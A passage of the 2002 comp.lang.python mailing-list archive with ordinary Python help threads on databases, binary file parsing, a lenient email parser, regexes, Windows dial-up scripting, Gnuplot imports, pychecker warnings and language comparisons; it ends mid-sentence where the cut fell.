From sheershion at mailexpire.com Wed May 15 09:50:25 2002 From: sheershion at mailexpire.com (Robert Amesz) Date: Wed, 15 May 2002 13:50:25 -0000 Subject: which db should I use? References: <mtanba.i1f.ln@127.0.0.1> Message-ID: <Xns920F962A3DBFErcamesz@amesz.demon.nl> Jim Richardson wrote: > I have a project that I want to do with python. It involves a > database table with some 100,000 rows, total size about 400MB and > climbing. I will be adding about 700 rows a day, and occasionally > want to do a query, but only occasionally. (I am putting all the > posts from an active newsgroup in to a db for data gathering, and > to learn python and sql stuff) But I don't know which db module > would work better for me?I am running this on a linux box, and > cross platform is not a big deal, I am looking at both postgres > and mysql. Since I have 0 experience with either one especially in > context of interfacing with python. I'd like suggestions please. This might be what you're looking for. From the MySQL manual: | As of Version 3.23.23, MySQL has support for full-text indexing | and searching. Full-text indexes in MySQL are an index of type | FULLTEXT. FULLTEXT indexes can be created from VARCHAR and TEXT | columns at CREATE TABLE time or added later with ALTER TABLE or | CREATE INDEX. For large datasets, it will be much faster to load | your data into a table that has no FULLTEXT index, then create the | index with ALTER TABLE (or CREATE INDEX). Loading data into a | table that already has a FULLTEXT index will be slower. | | Full-text searching is performed with the MATCH() function. I haven't used this myself, but from experience I can say that using MySQL from Python is pretty easy. You do have to know some basic SQL, though. If you'd be using Windows I'd reccommend a tool like MySQLFront, because it shows the SQL statements it sends to the MySQL server, which is a nice way to learn by example. Robert Amesz From nas at python.ca Fri May 17 18:33:50 2002 From: nas at python.ca (Neil Schemenauer) Date: Fri, 17 May 2002 15:33:50 -0700 Subject: Bar and Pie Graphs In-Reply-To: <67F0CEAF5F0ED411B53900508BC5C8BC7000FC@admin.datacraft.com.br>; from m.laranjeira@datacraft.com.br on Fri, May 17, 2002 at 02:01:53PM -0300 References: <67F0CEAF5F0ED411B53900508BC5C8BC7000FC@admin.datacraft.com.br> Message-ID: <20020517153350.A29130@glacier.arctrix.com> Marcus Laranjeira wrote: > All, > > I am writing a report generator in python and I need to create some 3D bar > and pie graphs, just like the graphs created using microsoft excel. Do you > know how could this be done ? do anyone know a module I can use for this ? I've been using this wrapper around gdchart: http://arctrix.com/nas/python/chart.py It's not as good as Excel though. :-( Neil From loewis at informatik.hu-berlin.de Fri May 10 09:08:08 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 10 May 2002 15:08:08 +0200 Subject: writing binary file for different platform References: <3cdbc406.16463125@news.easynews.net> Message-ID: <j4pu0440cn.fsf@informatik.hu-berlin.de> stojek at part-gmbh.de (Marcus Stojek) writes: > Now I have to prepare such a binary file on my Win system that will > be read on an IBM machine (IBM AIX 4.3.3.25) > > From the doc I guess that I have to add a character to the format > string (e.g. '<' or '>' ). If this is correct then please could > someone tell me which one. If not then what else can i do ? You need to find out how that machine stores bytes in memory, or on disk; ask someone familiar with this hardware. Saying "AIX some version" might not be specific enough - you need to know what microprocessor is in this machine. Most likely, this is some kind of Power machine; AFAIK, they are big-endian. Regards, Martin From sburr at home.com Tue May 7 13:07:57 2002 From: sburr at home.com (sburrious) Date: 7 May 2002 10:07:57 -0700 Subject: Using functional tools References: <mailman.1020508988.2276.python-list@python.org> Message-ID: <5396362c.0205070907.299e84fb@posting.google.com> Ken Seehof <kseehof at neuralintegrator.com> wrote in message > > >>> n = 3 > > >>> a = [1,2,3,4,5,6,7,8,9] > > >>> [((i+1)%n) and a[i] or f(a[i]) for i in range(len(a))] > > [1, 2, 30, 4, 5, 60, 7, 8, 90] > > I forgot to mention that this won't work if the list contains > values that evaluate to false. However, since you were in > the context of reading lines, I figured there's no problem > (note that an empty line is '\n', which is a nonzero value) But if you really like obfuscated code and want to cover the a[i] == 0 case, there's always this: [(((i+1)%n) and [a[i]] or [f(a[i])])[0] for i in range(len(a))] From loewis at informatik.hu-berlin.de Mon May 6 08:28:15 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 06 May 2002 14:28:15 +0200 Subject: reading binary data fast / help with optimizing ( again ) References: <DItB8.11192$2E.414680@news2.ulv.nextra.no> Message-ID: <j4pu095ulc.fsf@informatik.hu-berlin.de> "Thomas Weholt" <thomas at gatsoft.no> writes: > fmt = '4Iff3I' > record_size = calcsize(fmt) > desired_buffer_size = 512*1024 # want to read approx. 512k chunks pr. > IO-call > > # calculate a buffer-size based on record-size and desired buffer-size > i = 0 > while 1: > buffer_size = int((desired_buffer_size + i)/ struct.calcsize(fmt)) > if buffer_size % struct.calcsize(fmt) == 0: > break > i = i + 1 That doesn't have the desired effect; it gives a buffer size of 14580. What you meant is buffer_size = desired_buffer_size - desired_buffer_size % record_size This is actually a bit smaller than 512k; if you want the next-larger value, use buffer_size = desired_buffer_size - desired_buffer_size % -record_size > for stop_pos in range(record_size, len(_data) + record_size, > record_size): > result.append(unpack(fmt, _data[start_pos:stop_pos])) > start_pos = stop_pos I'm not sure what consumes the time here; you may try leaving out the result.append call. If that significantly affects time consumption, I you can preallocate the result, with, say, result = [0]*(buffer_size/record_size) Regards, Martin From usenet at thinkspot.net Tue May 28 13:34:11 2002 From: usenet at thinkspot.net (Sheila King) Date: Tue, 28 May 2002 10:34:11 -0700 Subject: The email package and KLEZ mails References: <oqn0ukzfsu.fsf@titan.progiciels-bpi.ca> <mailman.1022585747.21423.python-list@python.org> Message-ID: <acvmf3.t8.1@kserver.org> On Tue, 28 May 2002 21:34:22 +1000, Anthony Baxter <anthony at interlink.com.au> wrote in comp.lang.python in article <mailman.1022585747.21423.python-list at python.org>: > > > In my experience, incorrect MIME structure is one of the numerous > > hints about mail being SPAM. I do not remember a single false positive. > > I wish. I have to deal with end-user email, and trust me, it's not all > spam. I concur with Anthony. I have written an email filter package using the email module and if you use the strict Parser class included in that module, it does throw away too much good email (because any good mail thrown away is too much). Moreover, as I've mentioned in other posts and email correspondence, if you're writing software for end users, you really can't just tell them: "Oh, all those mails that caused errors...they were just non-RFC compliant. Probably SPAM or virus." First off, it's not 100% correct. Secondly, why is it that the three other mail readers I use (Agent, Pegasus, and PocoMail) are all able to parse these messages? I also agree with the idea that applications must be strict in what they write and liberal in what they accept. In extensive correspondence with Barry Warsaw on this matter a few months back, we came to the understanding that the Parser he provides in the email module is intended to be a strict, RFC compliant Parser. The design of the email module, allows Python programmers to plug in their own Parser class and use it with the rest of the email module to get the flexibility and functionality that they need. Barry is open to including other types of Parsers, but his point of view seems to be, that if the strict Parser provided in the email module cannot parse the email, then the Python programmer should decide how to handle this and write appropriate code. I have written a "smart parser" class that I am using in my email filter. I use this class instead of the Parser class provided with the email module. I provide the code below for all interested parties. It really does a pretty good job of handling most mails that the strict Parser cannot handle. If the "smart parser" class below cannot handle your email, then there is a non-documented HeaderParser class in the email module (see the source code for the Parser class) which is your next best chance. Otherwise, you will have to write your own routines for parsing the message. The "smart parser" class below is adapted from the Parser code provided in the email module. I have been using this in a production environment for a couple of months now, and have quite a number of other beta testers also using it, and we get almost no mails that cannot be parsed. Caution: Because this module makes "assumptions" about the structure of the message, in the case that the received email is not RFC compliant, if you try to use one of the Generators to print the message (which is called when printing) it will possibly print a message that is not identical to the raw message which was received. You may want to somehow save the raw message in your code elsewhere, if you might need the original raw message. Code follows the signature. Enjoy, -- Sheila King http://www.thinkspot.net/sheila/ http://www.k12groups.org/ http://www.FutureQuest.net ##### CODE FOR SMART PARSER CLASS ##### from email.Parser import Parser class smart_Parser(Parser): def parse(self, fp): root = self._class() self._parseheaders(root, fp) self._parsebody(root, fp) return root def parsestr(self, text): return self.parse(StringIO(text)) def _parseheaders(self, container, fp): # Parse the headers, returning a list of header/value pairs. # None as # the header means the Unix-From header. lastheader = '' lastvalue = [] lineno = 0 while 1: line = fp.readline()[:-1] if not line or not line.strip(): break lineno += 1 # Check for initial Unix From_ line if line.startswith('From '): if lineno == 1: container.set_unixfrom(line) continue else: raise Errors.HeaderParseError( 'Unix-from in headers after first rfc822 header') # # Header continuation line if line[0] in ' ': if not lastheader: raise Errors.HeaderParseError( 'Continuation line seen before first header') lastvalue.append(line) continue # Normal, non-continuation header. # BAW: this should check to make # sure it's a legal header, e.g. doesn't contain spaces. # Also, we # should expose the header matching algorithm in the API, and # allow for a non-strict parsing mode (that ignores the line # instead of raising the exception). i = line.find(':') if i < 0: raise Errors.HeaderParseError( 'Not a header, not a continuation') if lastheader: container[lastheader] = NL.join(lastvalue) lastheader = line[:i] lastvalue = [line[i+1:].lstrip()] # Make sure we retain the last header if lastheader: container[lastheader] = NL.join(lastvalue) def _parsebody(self, container, fp): boundary = container.get_boundary() isdigest = (container.get_type() == 'multipart/digest') if boundary: preamble = epilogue = None separator = '--' + boundary payload = fp.read() start = payload.find(separator) if start < 0: container.add_payload(payload) return if start > 0: preamble = payload[0:start] start += len(separator) + 1 + isdigest terminator = payload.find('\n' + separator + '--', start) if terminator < 0: terminator = len(payload) if terminator + len(separator) + 3 < len(payload): epilogue = payload[terminator + len(separator) + 3:] if isdigest: separator += '\n\n' else: separator += '\n' parts = payload[start:terminator].split('\n' + separator) for part in parts: if type(part) is type('') and not part.strip(): parts.remove(part) elif part: msgobj = self.parsestr(part) container.preamble = preamble container.epilogue = epilogue if not isinstance(container.get_payload(), type([])): container.set_payload([msgobj]) else: container.add_payload(msgobj) elif container.get_type() == 'message/delivery-status': # This special kind of type contains blocks # of headers separated # by a blank line. We'll represent each header block as a # separate Message object blocks = [] while 1: blockmsg = self._class() self._parseheaders(blockmsg, fp) if not len(blockmsg): # No more header blocks left break blocks.append(blockmsg) container.set_payload(blocks) elif container.get_main_type() == 'message': # Create a container for the payload, # but watch out for there not # being any headers left try: msg = self.parse(fp) except Errors.HeaderParseError: msg = self._class() self._parsebody(msg, fp) container.add_payload(msg) else: container.add_payload(fp.read()) From lsmithso at NOhare.SPAM.demon.co.uk Wed May 15 06:38:44 2002 From: lsmithso at NOhare.SPAM.demon.co.uk (Les Smithson) Date: 15 May 2002 11:38:44 +0100 Subject: accessing serial/parallel port from Python References: <abh249$kh4$1@knossos.btinternet.com> Message-ID: <m3y9el66xv.fsf@hare.demon.co.uklaily> >>>>> "Nick" == Nick Evans <nick at huff.org.uk> writes: Nick> Hello group, Could anyone tell me if it is possable to Nick> access the Physical ports of a computer from python. I have Nick> a few electronic projects that i originally wrote programes Nick> in QBasic to access them, but i would like to start using Nick> python. Nick> Cheers in advance Nick Evans For Linux //el ports, try my ioport package - http://www.hare.demon.co.uk/ioport/ioport.html. For multi-platform serial I/O, pySerial is good - http://pyserial.sourceforge.net. From james.kew at btinternet.com Thu May 16 03:26:48 2002 From: james.kew at btinternet.com (James Kew) Date: Thu, 16 May 2002 08:26:48 +0100 Subject: RegEx References: <MPG.174a3c3e60a4607b98969a@news.mminternet.com> Message-ID: <abvmvp$loi6c$1@ID-71831.news.dfncis.de> "x" <jar at mminternet.com> wrote in message news:MPG.174a3c3e60a4607b98969a at news.mminternet.com... > no_parans = re.compile('(|)', count = 99) > scan_line = no_parans.sub(' ', scan_line) As an aside, that count=99 argument to re.compile does nothing. sub does take an optional count argument, but if omitted or zero sub replaces all occurrences. I quite like John's suggestion of a '[()]' regex as it makes it clearer that you are replacing characters. Or build a translation table: trans = string.maketrans('()', ' ') scan_line = scan_line.translate(trans) which would make it easier to add new character substitutions later should you need to. -- James Kew From peter at engcorp.com Sat May 4 23:17:53 2002 From: peter at engcorp.com (Peter Hansen) Date: Sat, 04 May 2002 23:17:53 -0400 Subject: Authomatic internet connection References: <CoUz8.37038$8D3.1085340@news1.tin.it> Message-ID: <3CD4A461.1CE3B839@engcorp.com> [Reposting since all my outbound news has been swallowed for the last week. Originally posted April 30.] Max wrote: > > Hi, i'm a new Python-enthusiast. Really GREAT language, i'm having much fun > with it!!! > (Sorry, but i had to communicate this to the whole world... :) ) You /are/ preaching to the converted, but don't feel the need to apologize. :-) > Now, a little question: i wrote a very simple script that sends an > authomatic e-mail message using smtplib. Short, simple and working! > I would like to know if someone knows how to automatically connect to > Internet (i'm playing with windows (98 and Xp). It would be nice even to > bring up authomatically a connection, somehow like the webbrowser package > does when opening a "http" url) before trying to send the message. Investigate the win32all package by Mark Hammond, and specifically the win32ras module, as demonstrated in the demos/rastest.py file. For example, on my machine right now: C:\a\python\win32\demos> python rastest.py -l All phone-book entries: Intranet My Connection Current Connections: (-2101587008, 'Intranet', 'vpn', 'Microsoft VPN Adapter') C:\a\python\win32\demos> python rastest.py -d Intranet Disconnected from Intranet C:\a\python\win32\demos> python rastest.py -c Intranet hras: 0x82bc53c0, rc: 0x0000 (and I'm back on my VPN connection to work...) -Peter From phr-n2002a at nightsong.com Tue May 21 21:21:41 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 21 May 2002 18:21:41 -0700 Subject: Is python really slow? References: <Xns9215ABCC0DDC8chrislak@209.249.90.101> Message-ID: <7xbsb9nfiy.fsf@ruckus.brouhaha.com> Python, Perl, and PHP are all roughly comparable in speed. C is much faster than any of them. Perl and PHP, like Python, include mechanisms for adding C extensions for when you want something to run fast. Yes, you should learn C, but you'll find it's much more hassle to get things done in C than in Python. So Pythoneers like to write the framework of their program in Python, and use C for the parts that are speed critical. From MichaelB at firstlogic.com Wed May 22 12:21:13 2002 From: MichaelB at firstlogic.com (Michael Bauers) Date: Wed, 22 May 2002 11:21:13 -0500 Subject: New to Python - Want code review of simple combination routine Message-ID: <50B466C3F4A0D5118CCA00B0D0681E32027661FC@exchange-lax1.firstlogic.com> I am posting a routine I wrote to return a list of combinations. The input to 'combination' is a list, and 'n' which represents the number of elements to take in combination. If you forgot your math, [1,2,3] with n=2 should give [[1,2], [1,3], [2,3]] Because I am new to Python, I am not sure I wrote this the most efficient way. I would appreciate feedback on this code. This would help me know whether I am understanding how to code in Python correctly. The algorithm works like this: left list right list [] [1,2,3] call combination2() [1] [2,3] - move 1 to left list call combination 2 [1,2] [3] - move 2 to left list, add [1,2] to result list [1] [3] - Remove 2 from left list [1,3] [] - Move 3 to left list, add [1,3] to result list - return from recursive call to combination2() [1] [2,3] - after call, same as before [2] [3] - Remove 1 from left list, move 2 from right list to left list call combination 2 [2,3] [] - move 3 to left list, add [2,3] to result list ********************** Python code *********************** import copy def combinations(list, n): if n > len(list): return [] comb_list = [] r = combinations2([], list, n, comb_list) return comb_list def combinations2(l_list, r_list, n, result_list): if (len(r_list) == 0 or n == 0): return copy.copy(l_list) else: temp_l_list = copy.copy(l_list) temp_r_list = copy.copy(r_list) for i in r_list: temp_r_list.remove(i) temp_l_list.append(i) if n == 1: result_list.append(copy.copy(temp_l_list)) else: combinations2(temp_l_list, temp_r_list, n - 1, result_list) temp_l_list.remove(i) From marfadeu at gmx.de Tue May 7 13:57:51 2002 From: marfadeu at gmx.de (Markus Faust) Date: Tue, 7 May 2002 19:57:51 +0200 Subject: problems when trying to run Gnuplot.py (Gnuplot-1.5) under Python 2.2.1 References: <ab0afm$qej$07$1@news.t-online.com> Message-ID: <ab94ld$dnp$06$1@news.t-online.com> I changed functils.py to #! /usr/bin/env python # $Id: funcutils.py,v 2.4 2001/01/07 21:35:12 mhagger Exp $ # Copyright (C) 1998-2001 Michael Haggerty <mhagger at alum.mit.edu> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. This program is distributed in # the hope that it will be useful, but WITHOUT ANY WARRANTY; without # even the implied warranty of MERCHANTABILITY or FITNESS FOR A # PARTICULAR PURPOSE. See the GNU General Public License for more # details; it is available at <http://www.fsf.org/copyleft/gpl.html>, # or by writing to the Free Software Foundation, Inc., 59 Temple Place # - Suite 330, Boston, MA 02111-1307, USA. """funcutils.py -- Subroutines that tabulate a function's values. Convenience functions that evaluate a python function on a grid of points and tabulate the output to be used with Gnuplot. """ __cvs_version__ = '$Revision: 2.4 $' import Numeric #import Gnuplot, utils # original import utils # changed by M. Faust 07.05.2002 from _Gnuplot import Gnuplot # changed by M. Faust 07.05.2002 and now I can call GnuPlot directly from Python. Markus "Markus Faust" <marfadeu at gmx.de> schrieb im Newsbeitrag news:ab0afm$qej$07$1 at news.t-online.com... > Hi, > > I'm encountering problems when trying to run Gnuplot.py (Gnuplot-1.5) under > Python 2.2.1 on a Windows NT 4.0 system. What could be wrong? > > Error message: > >python demo.py > demo.py:40: SyntaxWarning: import * only allowed at module level > def demo(): > Traceback (most recent call last): > File "demo.py", line 36, in ? > import funcutils > File "funcutils.py", line 29, in ? > import Gnuplot, utils > ImportError: No module named Gnuplot > > system: > Python 2.2.1 (#34, Apr 9 2002, 19:34:33) [MSC 32 bit (Intel)] on win32 > Type "help", "copyright", "credits" or "license" for more information. > > G N U P L O T > MS-Windows 32 bit version 3.7 > patchlevel 1 > last modified Fri Oct 22 18:00:00 BST 1999 > > Markus > > > From dalke at dalkescientific.com Mon May 6 04:05:48 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Mon, 6 May 2002 02:05:48 -0600 Subject: singleton in python ? References: <1020669846.963494@newsmaster-04.atnet.at> Message-ID: <ab5dhu$lam$1@slb3.atl.mindspring.net> fritz steindl: >what is the best way to implement a singleton in python ??? http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/66531 Title: Singleton? We don't need no stinkin' singleton: the Borg design pattern >i miss static variables and functions in python (or i don't see them :-) Use module variables and module functions. There are other things you could do as well. What you're experiencing is pretty common for people switching from one language to another. In language J you know how to solve a problem using a certain viewpoint. When learning language P you still want to solve the same problem, but haven't learned yet how what the right viewpoint is for P. You might instead describe what you're trying to do and we could suggest a more Pythonic way to solve it. Andrew dalke at dalkescientific.com From cprinos at foliage.com Wed May 29 21:16:53 2002 From: cprinos at foliage.com (Chris Prinos) Date: Thu, 30 May 2002 01:16:53 GMT Subject: Problems with XML and DTD usage Message-ID: <94fJ8.2235$fT5.681070@typhoon.ne.ipsvc.net> Using Python 2.1, and pyXML 0.7.1, I'm having some difficulty with xml documents that use DTD. What I want to do is parse an xml document that has a doctype declaration specifying the DTD and validate it. I then need to manipulate the document a bit (keeping it valid) and spit it back out to a file. If I parse using validation, the validation takes place, but the resulting document contains an empty root node. I get the whole document if I parse without validation, but then the doctype declaration doesn't contain a systemId when streamed out after manipulation. Shouldn't parsing with and without validation return the same document object (assuming it's valid to begin with)? And shouldn't the non-validating parser maintain the doctype declaration in the resulting document instance (even if it's not used by the parser to validate the xml)? Chris -- t1.xml --- <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a SYSTEM "t1.dtd"> <a> <b>simple test</b> </a> -- t1.dtd -- <?xml version="1.0" encoding="UTF-8"?> <!ELEMENT a (b)> <!ELEMENT b (#PCDATA)> -- test code -- >>> import xml.dom.ext.reader.Sax2 as Sax2 >>> ValReader = Sax2.Reader(validate=1) >>> NonValReader = Sax2.Reader(validate=0) >>> vd = ValReader.fromStream(open('t1.xml')) >>> nvd = NonValReader.fromStream(open('t1.xml')) >>> from xml.dom.ext import PrettyPrint as PPrint >>> >>> PPrint(vd) # this shows vd to have an empty root <?xml version='1.0' encoding='UTF-8'?> <!DOCTYPE a SYSTEM "t1.dtd"> <a/> >>> >>> PPrint(nvd) # this shows nvd to have a non-valid doctype declaration <?xml version='1.0' encoding='UTF-8'?> <!DOCTYPE a> <a> <b>simple test</b> </a> From jafo at tummy.com Sat May 11 17:04:02 2002 From: jafo at tummy.com (Sean Reifschneider) Date: Sat, 11 May 2002 15:04:02 -0600 Subject: Has Red Hat helped or hurt? In-Reply-To: <jwbaxter-637892.18222908052002@corp.supernews.com>; from jwbaxter@spamcop.net on Wed, May 08, 2002 at 06:22:30PM -0700 References: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> <jwbaxter-637892.18222908052002@corp.supernews.com> Message-ID: <20020511150402.A24475@tummy.com> On Wed, May 08, 2002 at 06:22:30PM -0700, John Baxter wrote: >2. Install Python (whatever) "beside" 1.5.2. The RPMs available from python.org install Python 2.2 as "/usr/bin/python2". This works well for me. Of course, it does mean that if you want to have functionality available for both Pythons you have to install them in both locations... >This won't be fixed in RedHat until they decide to call something Red >Hat 8 (which I hope goes better than 7.0 did). They didn't upgrade at >7.0 time because they had used the rand module without having noticed Hah. Lest you forget, it wasn't 7.0 that was bad, it was 7.1... 7.1 happened when a lot of publicity was going on with Red Hat (the company), and I think they kind of pushed it out. For KRUD, our Red Hat based distribution, it was nearly 6 months before we felt the errata had brought it up to a point where we could update to 7.1. 7.0 wasn't anywhere near as bad... Sean -- Fire at the celuloud factory. No film at eleven. -- _Kentucky_Fried_Movie_ Sean Reifschneider, Inimitably Superfluous <jafo at tummy.com> tummy.com - Linux Consulting since 1995. Qmail, KRUD, Firewalls, Python From kragen at pobox.com Mon May 20 20:51:24 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 20 May 2002 20:51:24 -0400 Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> <uecf5h5b7a67c1@news.supernews.com> <3CE68BAA.726DA1A6@engcorp.com> <e81be8b2.0205191833.1c98570c@posting.google.com> <3CE88785.B9042718@tundraware.com> <slrnaeh8il.gf3.philh@comuno.freeserve.co.uk> <dH2G8.189$l62.6959@ozemail.com.au> Message-ID: <838z6epblf.fsf@panacea.canonical.org> "Patrick" <postmisc at yahoo.com.au> writes: > Submitting the language to a standards body and opening it up to other > implementors is hardly a clever way to lock programmers into a specific > vendor. It's an excellent way to get programmers to use it. ECMA does not require that the standardized technology be patent-free, and Microsoft has declared their intention to make it not patent-free. The ultimate result will be that the patents will issue in a couple of years, at which point you will be able to compete with Microsoft's .NET by producing a compatible implementation as long as Microsoft finds it convenient to allow you to do so, or as long as you don't need to sell in the US. This is the clever way to lock programmers into a specific vendor. From daverz at mindspring.com Sat May 25 23:53:15 2002 From: daverz at mindspring.com (Dave Cook) Date: 26 May 2002 03:53:15 GMT Subject: [newbie] Is Python what I'm looking for? References: <19eteugnbcppsh0s1kj7gvjr3jvtvfldt2@4ax.com> Message-ID: <slrnaf0n3m.gtb.daverz@serenity.foo.org> On Fri, 24 May 2002 22:05:44 +0000 (UTC), Giulio Cespuglio <giulio.agostini.remove.this at libero.it> wrote: > My aim is to automatically get specific pieces of information from a > website, simulating the behaviour of a user filling in HTML forms and > clicking buttons (a web robot?), then embed them in my HTML page. > In other words, the pages I need to access are not accessible from a > standard URL. > The other part of the problem is of course parsing the resulting HTML > and extracting the pieces of info I need. Easy to do with urllib. For example, to send login and password: import urllib params = urlencode({'login': 'mylogin', 'password' : 'mypassword'}) input = urlopen("http://foo.baz.com/script.cgi", params) Dave Cook From gb at cs.unc.edu Tue May 28 22:21:00 2002 From: gb at cs.unc.edu (gb at cs.unc.edu) Date: 28 May 2002 22:21:00 -0400 Subject: Problems with outdent.el Message-ID: <u4rgrheyb.fsf@cs.unc.edu> I'm trying to use outdent.el version 1.1 2001/08/30 with python.el version 4.6 in Emacs 21.1.1. All works except the automatic expansion in isearch. isearch works fine but doesn't expand anything. I've tried simplifying my .emacs but that doesn't help. Have others had this problem? Is there a work around? gb From aahz at pythoncraft.com Thu May 2 00:01:25 2002 From: aahz at pythoncraft.com (Aahz) Date: 2 May 2002 00:01:25 -0400 Subject: Python vs. Perl, which is better to learn? References: <20020501192102.11396.83978.Mailman@mail.python.org> <mailman.1020301986.9521.python-list@python.org> Message-ID: <aaqdml$i7r$1@panix1.panix.com> In article <mailman.1020301986.9521.python-list at python.org>, Terry Hancock <hancock at anansispaceworks.com> wrote: > >I've got practical examples: I sometimes use Perl as a "super-sed". >The original sed's REs are getting quite out of date, so it's kind of >nice to use Perl's. Doing the same thing in Python is quite feasible, >but will probably take about an hour longer to make work, because you >have to get the import right, compile the regex and figure out how to >get data in and out of the program. All easy stuff, but extra lines of >code, and if you're thumbfingered with the RE module it takes some time >to get right. > >If the project was going to take five minutes to write in Perl, then >that's about 1200% overhead. Particularly nasty if the lifetime of use >is another ten minutes. My contention is that if something that takes you five minutes in Perl takes you an hour in Python, you're doing something wrong. Here's a grep.py that I wrote in ten minutes for the original version, plus another ten minutes of fiddling to get the current version (I wrote it for my OSCON tutorial): from __future__ import generators import sys, re def grep(f, regex): f = file(f) regex = re.compile(regex) for line in f: if regex.search(line): yield line if __name__ == '__main__': regex = re.compile(sys.argv[1]) if len(sys.argv) > 2: flist = sys.argv[2:] else: flist = [sys.stdin] for f in flist: for line in grep(f, regex): sys.stdout.write(line) Now I've got a superstructure, and all I need is to add an appropriate regex. Python's regexes are pretty damn similar to Perl's. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I used to have a .sig but I found it impossible to please everyone..." --SFJ From gdemmy at layton-graphics.com Mon May 6 09:02:28 2002 From: gdemmy at layton-graphics.com (George Demmy) Date: 06 May 2002 09:02:28 -0400 Subject: Readable Perl (was Re: Python vs. Perl, which is better to learn?) References: <df30afd4.0204292111.31e5914a@posting.google.com> <chris-4E0B1A.01281230042002@corp.supernews.com> <f0fd5987.0204300105.51529004@posting.google.com> <chris-FA912A.00104606052002@corp.supernews.com> <3CD60E05.D9D8C1A6@engcorp.com> <m3lmaxuacu.fsf@chvatal.cbbrowne.com> <chris-90CE30.01535006052002@corp.supernews.com> <3CD623A7.4EE48B14@engcorp.com> Message-ID: <wuadrdo2e3.fsf_-_@hades.layton-graphics.com> Peter Hansen <peter at engcorp.com> writes: [SNIP] > Chris wrote: > More out of curiosity than an intention of starting a flame war, but > would someone post a snippet of twenty or so lines of Perl which they > believe is "readable"? > > (Note, however, I agree with the comments above... but we were talking > about readability, not good/bad code. I believe even good Perl is much > less readable than moderately bad Python, thus limiting its effectiveness > as a language for large programs, even in the hands of excellent > programmers.) > > -wait,-did-i-say-i-wasn't-starting-a-flame-war-ly yr's, > Peter This is a link to a bunch of perl code that is really quite readable, IMHO. http://www.dnalounge.com/backstage/src/ -- George Demmy Layton Graphics, Inc From skip at pobox.com Wed May 15 19:48:34 2002 From: skip at pobox.com (Skip Montanaro) Date: Wed, 15 May 2002 18:48:34 -0500 Subject: Page Hit Counter Vandalism & Writing FTP Results In-Reply-To: <whAE8.190337$q8.19153583@bin3.nnrp.aus1.giganews.com> References: <mailman.1021491928.31511.python-list@python.org> <whAE8.190337$q8.19153583@bin3.nnrp.aus1.giganews.com> Message-ID: <15586.62418.594725.475485@12-248-41-177.client.attbi.com> >> Here's the deal: Someone (I know who, but...) is constantly >> "diddling" with the page count for a departmental web page I've >> done. He likes to change the counts to something fairly astronomical >> like, "932305709023" hits or somesuch... Terry> So don't play that game. Terry> Either try to stop the vandalism (some technical possibilities: Terry> encrypt the data; send page hit packets to a more secure system) Terry> or find something better to do. 'ave 'im flogged, I say... -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills required" - seen on chi.jobs From neal at metaslash.com Thu May 16 12:42:49 2002 From: neal at metaslash.com (Neal Norwitz) Date: Thu, 16 May 2002 16:42:49 GMT Subject: pychecker question References: <mailman.1021296802.20059.python-list@python.org> Message-ID: <pan.2002.05.16.16.42.40.799294.21170@metaslash.com> On Mon, 13 May 2002 09:29:46 -0400, Roman Suzi wrote: > Hi! > > I am pychecking my code and am getting lots of: > > stable.py:210: Variable (path) used before being set > stable.py:210: Variable (split) used before being set > stable.py:224: Variable (strip) used before being set > stable.py:226: Variable (index) used before being set > stable.py:261: Variable (join) used before being set > stable.py:261: Variable (replace) used before being set > > These are caused by from-import statements inside functions, > schematically: > > def f(x): > from m import y > return y(x) > > Is it really considered bad to use from-import inside function > definition? (I did it because I wanted to state clearly which functions I don't think it is particularly bad. It could be a bug in pychecker. Which version of pychecker & python? > I am using from there. And I do not want to use it at the module level, > like that: > > from m import y > def f(x): > return y(x) > > as I think it will increase the number of imports. Actually, this will decrease the number of imports. This will be done only once for the whole program. Whereas if the import occurs within a function, the byte codes will be executed for each function call. The import work (actually reading file, etc) will still only be done once, regardless of where the import is. > Another question. Is there any front-end to pychecker to show code in > proper context and an ability to silence certain warnings just like I do > in ispell if I consider some word correct? There is a simple GUI which isn't documented: pychecker/options.py. But you are probably much better off with an IDE, emacs, boa, or wingide. (I've only used emacs.) There are many ways to silence warnings: using __pychecker__ in your code, .pycheckrc file, or the command line all work. Probably the best way is .pycheckrc. There is a sample one in the distribution (pycheckrc). The main page should have a brief description of most of this info: http://pychecker.sf.net. Neal From gashton at cmedltd.com Mon May 27 05:26:23 2002 From: gashton at cmedltd.com (Graham Ashton) Date: 27 May 2002 10:26:23 +0100 Subject: pyGTK In-Reply-To: <3CEC1CD5.A7A57A8E@nospam.com> References: <3CEC1CD5.A7A57A8E@nospam.com> Message-ID: <1022491584.557.1.camel@walter> On Wed, 2002-05-22 at 23:33, John J Breen wrote: > I can't seem to find much as far as documentation goes for pyGTK, > it seems the best I can find is C/GTK code and converting/understanding > it has been difficult. Can anyone make any suggestions as to what to do? Tutorial (really good): http://www.moeraki.com/pygtktutorial/gtk-tut.html App (uses GTK or Tk): http://landialler.sourceforge.net/ -- Graham Ashton From starx at pacbell.net Wed May 1 07:28:17 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 1 May 2002 11:28:17 GMT Subject: Steve Holden wrote: [was Python-list digest, Vol 1 #10572 - 14 msgs] References: <20020419205101.17293.2839.Mailman@mail.python.org> <mailman.1019282437.10223.python-list@python.org> <kCUw8.74285$T%5.6717@atlpnn01.usenetserver.com> <3CC53718.A10FF2E6@cascade-sys.com> <mailman.1019801261.30122.python-list@python.org> <Wnvy8.51932$z55.27618@atlpnn01.usenetserver.com> <mailman.1019926552.31887.python-list@python.org> Message-ID: <Xns92012DA997737RASXnewsDFE1@130.133.1.4> Roman Neuhauser || Sat 27 Apr 2002 10:10:24a: > Anyone who writes "if (x == 0)" instead of "if (0 == x)" deserves > what he begs for. It seems that's something's broken when you have to write something in an unnatural way (from math on we always 